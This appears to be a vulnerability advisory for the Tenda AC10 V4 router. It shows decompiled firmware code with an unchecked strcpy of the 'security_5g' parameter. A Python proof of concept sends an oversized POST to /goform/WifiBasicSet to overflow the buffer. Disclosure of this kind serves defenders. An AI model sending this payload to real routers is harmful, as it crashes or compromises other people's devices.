Vulnerability Description

Vendor: Tenda

Product: AC10

Version: US_AC10V4.0si_V16.03.10.09_multi_TDE01

Type: Buffer Overflow

Firmware link: https://www.tendacn.com/material/show/104560

Vulnerability Details

The function sub_46284C copies HTTP parameters security_5g straight into fixed-size fields of the target structure v6 using strcpy() with no length checks.

int __fastcall sub_46284C(int a1, int a2)
{
  int mibname; // $v0
  int v4; // $v0
  char *src; // [sp+18h] [+18h]
  char v6[256]; // [sp+20h] [+20h] BYREF                // buffer with 256 bytes
  _BYTE v7[512]; // [sp+120h] [+120h] BYREF
  int v8; // [sp+320h] [+320h]
  void *s; // [sp+324h] [+324h] BYREF

  memset(v6, 0, sizeof(v6));
  v8 = 256;
  s = v7;
  memset(v7, 0, sizeof(v7));
  src = (char *)websGetVar(a1, "security_5g", "none"); // input 
  if ( !src )
    return 1;
  mibname = wifi_get_mibname(a2, "bss_security", s);
  GetValue(mibname, (char *)s + 256);
  if ( !strcmp(src, "wpapsk") || !strcmp(src, "wpa2psk") || !strcmp(src, "wpawpa2psk") )
    SetValue(s, "wpapsk");
  else
    SetValue(s, src);
  strcpy(v6, src); // BufferOverflow
  ...
  return sub_4625A0(a1, a2, v6);
}

Supplying strings longer than these buffers over the /goform/WifiBasicSet endpoint lets a remote, unauthenticated attacker overflow the stack/heap, overwrite the saved return address, and execute arbitrary code as root or crash the service. In short, the function presents a classic buffer-overflow vulnerability exploitable via the security_5g parameter on all AC10 V4 firmware = 16.03.10.09.

Proof of Concept

import socket
import os

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\\r\\n'

p1 = b'a' * 0x3000
p2 = b'security_5g=' + p1

p3 = b"POST /goform/WifiBasicSet" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)